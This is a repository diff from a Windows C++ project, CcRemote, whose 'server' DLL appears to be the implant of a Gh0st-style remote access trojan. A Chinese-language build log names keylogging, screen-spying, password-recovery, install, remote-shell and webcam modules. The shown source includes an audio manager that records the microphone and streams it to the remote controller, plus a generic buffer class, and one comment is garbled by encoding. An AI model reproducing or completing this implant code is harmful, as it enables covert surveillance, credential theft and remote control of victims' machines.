g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\..\bin\server\server.dll\ccmaindll.dll
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog
|
107
CcMainDll/CcMainDll/Release/CcMainDll.log
Normal file
107
CcMainDll/CcMainDll/Release/CcMainDll.log
Normal file
@@ -0,0 +1,107 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
pch.cpp
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
Audio.cpp
|
||||
g:\ccremote\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
ClientSocket.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
Buffer.cpp
|
||||
KeyboardManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
|
||||
until.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
AudioManager.cpp
|
||||
Dialupass.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
install.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
KernelManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
Manager.cpp
|
||||
RegEditEx.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
ScreenManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
|
||||
g:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
|
||||
ScreenSpy.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配
|
||||
ShellManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
SystemManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(111): warning C4018: “<”: 有符号/无符号不匹配
|
||||
VideoCap.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
VideoManager.cpp
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
FileManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
dllmain.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(166): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
|
||||
正在创建库 ..\bin\server\server.dll\CcMainDll.lib 和对象 ..\bin\server\server.dll\CcMainDll.exp
|
||||
正在生成代码
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
||||
All 364 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\CcMainDll\..\bin\server\server.dll\CcMainDll.dll
|
@@ -0,0 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
84
CcMainDll/CcMainDll/common/AudioManager.cpp
Normal file
84
CcMainDll/CcMainDll/common/AudioManager.cpp
Normal file
@@ -0,0 +1,84 @@
|
||||
// AudioManager.cpp: implementation of the CAudioManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "..\pch.h"
|
||||
#include "AudioManager.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
bool CAudioManager::m_bIsWorking = false;
|
||||
|
||||
CAudioManager::CAudioManager(CClientSocket *pClient) : CManager(pClient)
|
||||
{
|
||||
if (!Initialize())
|
||||
return;
|
||||
|
||||
BYTE bToken = TOKEN_AUDIO_START;
|
||||
Send(&bToken, 1);
|
||||
// Wait for remote dialog open and init
|
||||
WaitForDialogOpen();
|
||||
|
||||
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
|
||||
|
||||
}
|
||||
|
||||
CAudioManager::~CAudioManager()
|
||||
{
|
||||
m_bIsWorking = false;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
|
||||
delete m_lpAudio;
|
||||
}
|
||||
|
||||
bool CAudioManager::Initialize()
|
||||
{
|
||||
if (!waveInGetNumDevs())
|
||||
return false;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.. <20><>ֹ<EFBFBD>ظ<EFBFBD>ʹ<EFBFBD><CAB9>
|
||||
if (m_bIsWorking)
|
||||
return false;
|
||||
|
||||
m_lpAudio = new CAudio;
|
||||
|
||||
m_bIsWorking = true;
|
||||
return true;
|
||||
}
|
||||
|
||||
int CAudioManager::sendRecordBuffer()
|
||||
{
|
||||
DWORD dwBytes = 0;
|
||||
UINT nSendBytes = 0;
|
||||
LPBYTE lpBuffer = m_lpAudio->getRecordBuffer(&dwBytes);
|
||||
if (lpBuffer == NULL)
|
||||
return 0;
|
||||
LPBYTE lpPacket = new BYTE[dwBytes + 1];
|
||||
lpPacket[0] = TOKEN_AUDIO_DATA;
|
||||
memcpy(lpPacket + 1, lpBuffer, dwBytes);
|
||||
|
||||
if (dwBytes > 0)
|
||||
nSendBytes = Send(lpPacket, dwBytes + 1);
|
||||
delete lpPacket;
|
||||
|
||||
return nSendBytes;
|
||||
}
|
||||
|
||||
void CAudioManager::OnReceive( LPBYTE lpBuffer, UINT nSize )
|
||||
{
|
||||
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
|
||||
{
|
||||
NotifyDialogIsOpen();
|
||||
return;
|
||||
}
|
||||
m_lpAudio->playBuffer(lpBuffer, nSize);
|
||||
}
|
||||
|
||||
DWORD WINAPI CAudioManager::WorkThread( LPVOID lparam )
|
||||
{
|
||||
CAudioManager *pThis = (CAudioManager *)lparam;
|
||||
while (pThis->m_bIsWorking)
|
||||
pThis->sendRecordBuffer();
|
||||
|
||||
return -1;
|
||||
}
|
32
CcMainDll/CcMainDll/common/AudioManager.h
Normal file
32
CcMainDll/CcMainDll/common/AudioManager.h
Normal file
@@ -0,0 +1,32 @@
|
||||
// AudioManager.h: interface for the CAudioManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_AUDIOMANAGER_H__8EB9310D_AEFB_40C5_A4E7_6EE4603CBC69__INCLUDED_)
|
||||
#define AFX_AUDIOMANAGER_H__8EB9310D_AEFB_40C5_A4E7_6EE4603CBC69__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "..\..\..\common\Audio.h"
|
||||
|
||||
class CAudioManager : public CManager
|
||||
{
|
||||
public:
|
||||
CAudioManager(CClientSocket *pClient);
|
||||
virtual ~CAudioManager();
|
||||
int sendRecordBuffer();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
|
||||
static bool m_bIsWorking;
|
||||
private:
|
||||
bool Initialize();
|
||||
|
||||
CAudio *m_lpAudio;
|
||||
HANDLE m_hWorkThread;
|
||||
static DWORD WINAPI WorkThread(LPVOID lparam);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_AUDIOMANAGER_H__8EB9310D_AEFB_40C5_A4E7_6EE4603CBC69__INCLUDED_)
|
473
CcMainDll/CcMainDll/common/Buffer.cpp
Normal file
473
CcMainDll/CcMainDll/common/Buffer.cpp
Normal file
@@ -0,0 +1,473 @@
|
||||
// Buffer.cpp: implementation of the CBuffer class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
//#include "StdAfx.h"
|
||||
#include "Buffer.h"
|
||||
#include "math.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#undef THIS_FILE
|
||||
static char THIS_FILE[]=__FILE__;
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: CBuffer
|
||||
//
|
||||
// DESCRIPTION: Constructs the buffer with a default size
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
CBuffer::CBuffer()
|
||||
{
|
||||
// Initial size
|
||||
m_nSize = 0;
|
||||
|
||||
m_pPtr = m_pBase = NULL;
|
||||
InitializeCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: ~CBuffer
|
||||
//
|
||||
// DESCRIPTION: Deallocates the buffer
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
CBuffer::~CBuffer()
|
||||
{
|
||||
if (m_pBase)
|
||||
VirtualFree(m_pBase, 0, MEM_RELEASE);
|
||||
DeleteCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: Write
|
||||
//
|
||||
// DESCRIPTION: Writes data into the buffer
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
BOOL CBuffer::Write(PBYTE pData, UINT nSize)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (ReAllocateBuffer(nSize + GetBufferLen()) == -1)
|
||||
{
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return false;
|
||||
}
|
||||
|
||||
CopyMemory(m_pPtr,pData,nSize);
|
||||
|
||||
// Advance Pointer
|
||||
m_pPtr+=nSize;
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return nSize;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: Insert
|
||||
//
|
||||
// DESCRIPTION: Insert data into the buffer
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
BOOL CBuffer::Insert(PBYTE pData, UINT nSize)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (ReAllocateBuffer(nSize + GetBufferLen()) == -1)
|
||||
{
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return false;
|
||||
}
|
||||
|
||||
MoveMemory(m_pBase+nSize,m_pBase,GetMemSize() - nSize);
|
||||
CopyMemory(m_pBase,pData,nSize);
|
||||
|
||||
// Advance Pointer
|
||||
m_pPtr+=nSize;
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return nSize;
|
||||
}
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: Read
|
||||
//
|
||||
// DESCRIPTION: Reads data from the buffer and deletes what it reads
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
UINT CBuffer::Read(PBYTE pData, UINT nSize)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
// Trying to byte off more than ya can chew - eh?
|
||||
if (nSize > GetMemSize())
|
||||
{
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// all that we have
|
||||
if (nSize > GetBufferLen())
|
||||
nSize = GetBufferLen();
|
||||
|
||||
|
||||
if (nSize)
|
||||
{
|
||||
// Copy over required amount and its not up to us
|
||||
// to terminate the buffer - got that!!!
|
||||
CopyMemory(pData,m_pBase,nSize);
|
||||
|
||||
// Slide the buffer back - like sinking the data
|
||||
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
|
||||
|
||||
m_pPtr -= nSize;
|
||||
}
|
||||
|
||||
DeAllocateBuffer(GetBufferLen());
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return nSize;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: GetMemSize
|
||||
//
|
||||
// DESCRIPTION: Returns the phyical memory allocated to the buffer
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
UINT CBuffer::GetMemSize()
|
||||
{
|
||||
return m_nSize;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: GetBufferLen
|
||||
//
|
||||
// DESCRIPTION: Get the buffer 'data' length
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
UINT CBuffer::GetBufferLen()
|
||||
{
|
||||
if (m_pBase == NULL)
|
||||
return 0;
|
||||
|
||||
int nSize =
|
||||
m_pPtr - m_pBase;
|
||||
return nSize;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: ReAllocateBuffer
|
||||
//
|
||||
// DESCRIPTION: ReAllocateBuffer the Buffer to the requested size
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
UINT CBuffer::ReAllocateBuffer(UINT nRequestedSize)
|
||||
{
|
||||
if (nRequestedSize < GetMemSize())
|
||||
return 0;
|
||||
|
||||
// Allocate new size
|
||||
UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
|
||||
|
||||
// New Copy Data Over
|
||||
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
|
||||
if (pNewBuffer == NULL)
|
||||
return -1;
|
||||
|
||||
UINT nBufferLen = GetBufferLen();
|
||||
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
|
||||
|
||||
if (m_pBase)
|
||||
VirtualFree(m_pBase,0,MEM_RELEASE);
|
||||
|
||||
|
||||
// Hand over the pointer
|
||||
m_pBase = pNewBuffer;
|
||||
|
||||
// Realign position pointer
|
||||
m_pPtr = m_pBase + nBufferLen;
|
||||
|
||||
m_nSize = nNewSize;
|
||||
|
||||
return m_nSize;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: DeAllocateBuffer
|
||||
//
|
||||
// DESCRIPTION: DeAllocates the Buffer to the requested size
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
UINT CBuffer::DeAllocateBuffer(UINT nRequestedSize)
|
||||
{
|
||||
if (nRequestedSize < GetBufferLen())
|
||||
return 0;
|
||||
|
||||
// Allocate new size
|
||||
UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
|
||||
|
||||
if (nNewSize < GetMemSize())
|
||||
return 0;
|
||||
|
||||
// New Copy Data Over
|
||||
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
|
||||
|
||||
UINT nBufferLen = GetBufferLen();
|
||||
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
|
||||
|
||||
VirtualFree(m_pBase,0,MEM_RELEASE);
|
||||
|
||||
// Hand over the pointer
|
||||
m_pBase = pNewBuffer;
|
||||
|
||||
// Realign position pointer
|
||||
m_pPtr = m_pBase + nBufferLen;
|
||||
|
||||
m_nSize = nNewSize;
|
||||
|
||||
return m_nSize;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: Scan
|
||||
//
|
||||
// DESCRIPTION: Scans the buffer for a given byte sequence
|
||||
//
|
||||
// RETURNS: Logical offset
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
int CBuffer::Scan(PBYTE pScan,UINT nPos)
|
||||
{
|
||||
if (nPos > GetBufferLen() )
|
||||
return -1;
|
||||
|
||||
PBYTE pStr = (PBYTE) strstr((char*)(m_pBase+nPos),(char*)pScan);
|
||||
|
||||
int nOffset = 0;
|
||||
|
||||
if (pStr)
|
||||
nOffset = (pStr - m_pBase) + strlen((char*)pScan);
|
||||
|
||||
return nOffset;
|
||||
}
|
||||
|
